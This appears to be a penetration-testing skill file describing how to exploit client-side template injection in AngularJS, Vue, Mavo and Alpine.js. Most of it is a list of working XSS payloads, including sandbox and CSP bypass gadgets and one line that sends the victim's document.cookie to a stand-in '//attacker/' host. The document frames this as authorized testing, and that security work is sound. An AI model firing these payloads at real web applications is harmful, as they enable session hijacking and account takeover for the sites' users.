| name | exploiting-client-side-template-injection |
| description | Exploiting Client-Side Template Injection (CSTI) where a frontend framework (AngularJS, Vue, Mavo, Alpine.js) compiles attacker-controlled template syntax in the browser, turning a reflection into arbitrary JavaScript execution (XSS) often bypassing classic XSS filters and CSP. Activates when user input is reflected into a framework-controlled DOM and template expressions like {{7*7}} are evaluated. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","client-side-template-injection","csti","xss","owasp","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Exploiting Client-Side Template Injection (CSTI)
When to Use
- During authorized tests of apps built with AngularJS, Vue, Mavo, or Alpine.js
- When user input is reflected into a DOM region processed by the framework (not inert text)
- When classic XSS payloads (
<script>, <img onerror>) are filtered but template syntax is not
- When you see directives:
ng-app, ng-bind, v-html, x-data, mv-/data-mv-, or globals window.angular/Vue
- When you need to bypass CSP — framework gadgets can execute without inline
<script>
Critical: Variants Most Often Missed
Not every reflection into a framework page is exploitable. Confirm the framework, then confirm the exact sink (compiled expression vs inert HTML). The probe is {{7*7}} → renders 49 = CSTI; renders {{7*7}} literally = not (look for a directive/event sink instead).
# AngularJS >= 1.6 (sandbox removed → direct exec)
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
# AngularJS CSP / ng-csp mode (orderBy gadget)
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
# AngularJS sandbox-escape exfil gadget (Google research)
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location='//attacker/'+d.cookie"></textarea></div>
# Vue 2
{{constructor.constructor('alert(1)')()}}
{{this.constructor.constructor('alert("foo")')()}}
"><div v-html="''.constructor.constructor('alert(1)')()">x</div>
# Vue 3 (helper name varies by build — enumerate nearby helpers)
{{_openBlock.constructor('alert(1)')()}}
{{_createBlock.constructor('alert(1)')()}}
{{_toDisplayString.constructor('alert(1)')()}}
{{_createVNode.constructor('alert(1)')()}}
{{_Vue.h.constructor`alert(1)`()}}
# Mavo (mv-/data-mv- attributes; NON-JS syntax bypasses JS-token filters)
[7*7]
[self.alert(1)]
[(1,alert)(1)]
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a data-mv-if='1 or self.alert(1)'>test</a>
javascript:alert(1)%252f%252f..%252fcss-images
How to CONFIRM a hit (avoid false negatives)
- Reflect a unique marker, confirm where it lands in the DOM.
- Probe
{{7*7}} (Angular/Vue) or [7*7] (Mavo). Rendered arithmetic (49) = template evaluated.
- If
{{...}} is inert, hunt directive/event sinks: , , , dynamic bindings, alternate delimiters.